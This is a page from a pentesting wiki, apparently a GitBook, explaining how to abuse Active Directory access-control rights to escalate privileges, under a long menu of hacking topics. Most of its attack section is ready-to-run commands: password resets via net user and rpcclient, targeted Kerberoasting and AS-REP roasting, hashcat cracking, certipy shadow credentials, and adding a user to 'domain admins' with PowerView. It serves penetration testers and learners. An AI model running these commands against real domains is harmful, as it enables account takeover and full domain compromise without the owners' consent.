Red Squad
BuyMeACoffee
  • 🏠/home/red-squad
    • ⏰Recently Added
    • 🥳Support our projects
    • ⚰️Is There Life After Death ?
  • 🌐Web Hacking
    • 🚩CTFs shortcuts
    • 🗺️Audits plan
      • Exposition Audit - Plan
      • Internal Audit - Plan
      • External Audit - Plan
    • 🕵️OSINT
      • 🔍Search Engines
      • 🧑User OSINT
      • 🇫🇲Domains, IP, IOT
      • 🕸️Website OSINT
      • 🗣️Breaches/Leaks
      • 💼Business OSINT
      • 🧅TOR network
      • 🔬Source Code
      • 🥸Dorks
      • ⚔️Vulnerabilities and IOC
      • 📦MISC
    • Enumeration
      • Network Scanners
      • Directory/Files Scanners
      • Web Scanners
        • Subdomains
    • 🔗HTTP Stuff
      • HTTP Methods
        • 403 Bypass
      • Security Headers
      • HTTP Parameters
    • 🔐Sessions / Tokens
      • Cookies
      • JWT
        • Attacking JWT
    • 💉Injections
      • HTML | XSS
      • SQLi
        • SQLmap
        • NoSQLi
      • XXE
      • LaTex
    • 🪱Web Vulnerabilities
      • CSRF
      • ClickJacking
      • Files / Upload
        • 🗃️File Upload Bypass
        • 📦ZIP Slip
      • IDOR
      • LFI
        • Files to look for
      • Remote Code Execution
    • ⛔WAF Bypass
    • ✍️Servers / CMS
      • 🐈Tomcat
      • 💧Drupal
      • ✏️Oracle APEX
      • 🐦Apache
      • 🔷WordPress
        • Wordpress eBook Download < 1.2 - CVE-2016-10924
      • ⏩SAP
      • 🕴️Jenkins
      • 🖇️Joomla!
      • 🏢Server-Side Vulnerabilities
        • Server-Side Request Forgery
        • Server-Side Template Injection
    • 🖇️API
      • GraphQL
  • 🐧Linux Hacking
    • 🧗Privilege Escalation
      • Find passwords
      • Ansible
      • Manual Checks
      • Automated Checks
    • 👣Cover tracks
    • 🚪Backdoors
    • ⭕Reverse Shells
      • Shell Stabilizing
      • PwnCat
      • Ping-Pong
    • 🔢Compiled Binaries
    • 🌊Buffer Overflow
      • Introduction
      • Fundamentals
      • Exploits
    • 🐳Docker Escape
    • 🤝File sharing
  • 🪟Windows Hacking
    • 👥Active Directory
      • 1. Reconnaissance
        • Domain Network Enumeration
          • SMB Enumeration
          • LDAP Enumeration
      • 2. Initial Attack Vectors
        • Kerberos
          • Lookupsid
          • findDelegation
          • ASREPRoast
          • Kerbrute
        • AD CS
          • Basics
          • Exploits
        • Network
          • SMBRelay
          • LLMNR_NBT NS Poisoning
            • Relay Poisoning Ressources
          • IPv6 Attacks
        • Impacket
          • Windows Secrets
        • Autologon
        • PowerView.ps1
      • 3. Post-Compromise Enumeration
        • ACLs Abuse
        • Computer enumeration
        • PowerView
        • BloodHound
        • MimiKatz
        • PingCastle
      • 4. Post-Compromise Attacks
        • WSUS Poison
        • AlwaysInstallElevated
        • DCSync
        • Dumping LSASS
        • Dumping NTDS.dit
        • Golden Tickets
        • GPP Attacks
        • Kerberoasting - SPN
        • Pass the Hash
        • Pass the Password
        • Rubeus
      • 5. PrivEsc & MISC
        • Automated scripts
        • Exploits
          • noPac - CVE-2021-42278
          • ZeroLogon - CVE-2020-1472
          • LocalPotato - CVE-2023-21746
          • PrintNightMare - CVE-2021-34527
          • Other CVEs
    • 💡Useful AD Commands
    • 🧗Privilege Escalation
    • 🐚Shells
    • 🔓Bypasses
      • UAC
      • Antivirus
      • AppLocker
      • BitLocker
    • 📃Office
      • Analyze office files
      • Forgot password of file ?
      • CVE-2023-21716 (Microsoft Word RCE)
    • 👩‍💻SCCM | MECM
      • Configuration Audit
      • Dump
      • Hack It
        • Reconnaisance
        • PXE/OSD Exploitation
        • NTLM Relay from SCCM Clients
        • Privilege Escalation
        • Lateral Movement
        • Malware Deployment
      • Basics
    • 💎Microsoft 365
      • Configuration
      • Hacking
  • 💽Systems
    • 🐕‍🦺Services Enumeration
    • 🖨️Printers
      • Printer Exploitation Tool (PRET)
      • CUPS
    • 🛡️Fortinet
    • 📹CCTV / IP Cameras
      • Hacking
  • 🎆Networks
    • 🌪️Pivoting
      • Tools / Guide
        • Proxychains / FoxyProxy
        • SSH Tunnelling / Port Forwarding
        • Plinx.exe
        • Socat
        • Chisel
        • Sshuttle
        • Ligolo-Ng : Pivoting use cases
      • SocksOverRDP
    • 🔥Firewalls
      • 🔥Evasion
    • 🔗Proxies
  • 📱Mobile Hacking
    • 🤖Android
      • Introduction
      • Reversing
      • Static Analysis
      • Dynamic Analysis
      • Disable SSL Pinning
      • Bypass Root Detection
      • Network / Traffic Analysis
    • 🍏iOS
      • Introduction
      • Static Analysis
      • Dynamic Analysis
      • JailBreak
    • 📺IOT
      • IOTGoat OWASP | Walkthrough
      • Resources
  • Configuration
    • ChromeOS
    • Mobile
      • Android
    • IBM
      • AS400
      • AIX
  • 📡Wireless Hacking
    • 🎆Wi-Fi Attacks
      • EvilTwin
      • Cracking WPA/WPA2
      • Sniffing
    • 🫐Bluetooth
      • BLE Locks Hacking
  • 👨‍💻Code Audit
    • ✔️Best Practices
    • ❌Bad Practices
    • ⚒️Tools
  • 🍑Thick Client Hacking
    • 📝Thick Client Pentesting Methodology
    • 🗄️Resources
  • 🗄️MISC
    • 🔑Default Credentials
    • 🔻CVEs
      • [CVE-2022-0847] - dirtypipe
      • [CVE-2021-4034] - Pwnkit
      • [CVE-2021-45105] - Log4J
      • [CVE-2018-15473] - OPENSSH < 7.7
    • 🦊Browser Extensions
    • 🤖AI
      • chatGPT alternatives
      • Large Language Model Hacking
    • 🔭Hacking Labs
    • 🔫Exploitation Frameworks
  • 🕵️OPSEC
    • 🗝️Privacy
      • Best tools
      • Online Anonymity
      • Browser Configuration
  • 🔑CRACKING | ENCODING
    • 🥊Bruteforce tools
    • 📝Wordlists
    • 🧨Cracking Tools
    • 🔬Encoding | Decoding Tools
    • 🔍Steganography | Cipher
  • 🔴RED TEAM
    • 📥Password Extract
      • Firefox
    • 🕵️Spy cam
    • 🔒Lock Picking
    • 🎣Phishing
      • Infrastructure
      • Resources
  • 🌀Whistle Blowing
    • 📹CCTV
  • 🔵BLUE TEAM
    • 🧩Forensics
    • 🦹Malware Analysis
    • 🛠️Tools
    • 🍯HoneyPots
    • 🎆Networks Security
    • 🪙Online IoC Scanners
  • 🐞Bug Bounty Related
    • Searching for CVEs
    • [FR] Legal
    • Dorks
  • 🖥️DEVELOPERS
    • 👨‍💻IDE
  • 📚LEARNING
    • Windows
      • Active Directory
      • Kerberos
      • Pass-the-*
    • SQL
      • SQSHell | sqsh | skwish
      • NoSQL
      • DB infos
    • SSL/TLS
      • Configuration on MariaDB
Powered by GitBook
On this page
  • DACL
  • GenericAll
  • GenericWrite
  • WriteOwner
  • WriteDACL
  • ForceChangePassword
  • Self
  • SACL

Was this helpful?

Edit on GitHub
Export as PDF
  1. Windows Hacking
  2. Active Directory
  3. 3. Post-Compromise Enumeration

ACLs Abuse

Previous3. Post-Compromise EnumerationNextComputer enumeration

Last updated 1 year ago

Was this helpful?

An ACL is an ordered list of ACEs (access control entry) that define the protections that apply to an object and its properties. Each ACE identifies a security principal and specifies a set of access rights that are allowed, denied, or audited for that security principal. An object’s security descriptor can contain two ACLs:

  • A DACL that identifies the users and groups that are allowed or denied access

  • A SACL that controls how access is audited

When a user tries to access a file, the Windows system runs an AccessCheck and compares the security descriptor with the users access token and evaluates if the user is granted access and what kind of access depending on the ACEs set.

DACL

A DACL, Discretionary Access Control List, will contain details that help identify which user or group has access to an object and who is denied access.

Only the access control lists that define the degree of access for users and groups are called DACLs.

GenericAll

Full rights to the object (add users to a group or reset user's password)

on User

  1. Change the password of the user:

net user <username> <password> /domain

# from linux
rpcclient -U KnownUsername 10.10.10.192
setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
  1. Targeted Kerberoasting: You could make the user kerberoastable setting an SPN on the account, kerberoast it and attempt to crack offline:

# Set SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# Get Hash
.\Rubeus.exe kerberoast /user:<username> /nowrap
# Clean SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

# You can also use the tool https://github.com/ShutdownRepo/targetedKerberoast 
# to get hashes of one or all the users
python3 targetedKerberoast.py -domain.local -u <username> -p password -v
  1. Targeted ASREPRoasting: You could make the user ASREPRoastable by disabling preauthentication and then ASREProast it:

Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

GenericWrite

Update object's attributes (i.e logon script)

on User

This could be abuse with 3 different technics :

  • shadowCredentials (windows server 2016 or +)

  • targetKerberoasting (password should be weak enough to be cracked)

  • logonScript (this need a user connection and to be honest it never worked or unless with a script already inside sysvol)

# targetKerberoast
targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p pasdebraspasdechocolat --request-user joffrey.baratheon

# crack hash
hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force

# shadow credentials
certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'

on Group

Claire has GenericWrite over backups-admins group

# add claire to the group !
net group backup-admins claire /add

WriteOwner

Change object owner to attacker controlled user take over the object

on User

Tom has WriteOwner on Claire

### Create powershell credential and change credentials. 
### NOTE!! IN A REAL PENTEST YOU WOULD ENABLE REVERSIBLE ENCRYPTION OR MAKE USER KERBEROSTABLE OR SOMETHING ELSE AND NOT CHANGE THE PASSWORD IN A PRODUCTION ENVIRONMENT
$cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force
Set-DomainUserPassword -identity claire -accountpassword $cred

WriteDACL

Modify object's ACEs and give attacker full control right over the object

on User

You can add new ACLs

Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword

ForceChangePassword

Ability to change user's password

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

# same with powerview
Set-DomainUserPassword -Identity delegate -Verbose

# from linux
rpcclient -U KnownUsername 10.10.10.192
setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

Self

Another privilege that enables the attacker adding themselves to a group.

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

SACL

SACLs are used for establishing system-wide security policies for actions such as logging or auditing resource access. The SACL attached to a system, directory, or file object specifies

  • Which security principals (users, groups, computers) should be audited when accessing the object

  • Which access events should be audited for these principals

  • Whether a Success or Failure attribute is generated for an access event, depending on the permissions granted in the DACL for the object

🪟
👥
Abusing Active Directory ACL/ACE – LootsecLootsec
Logo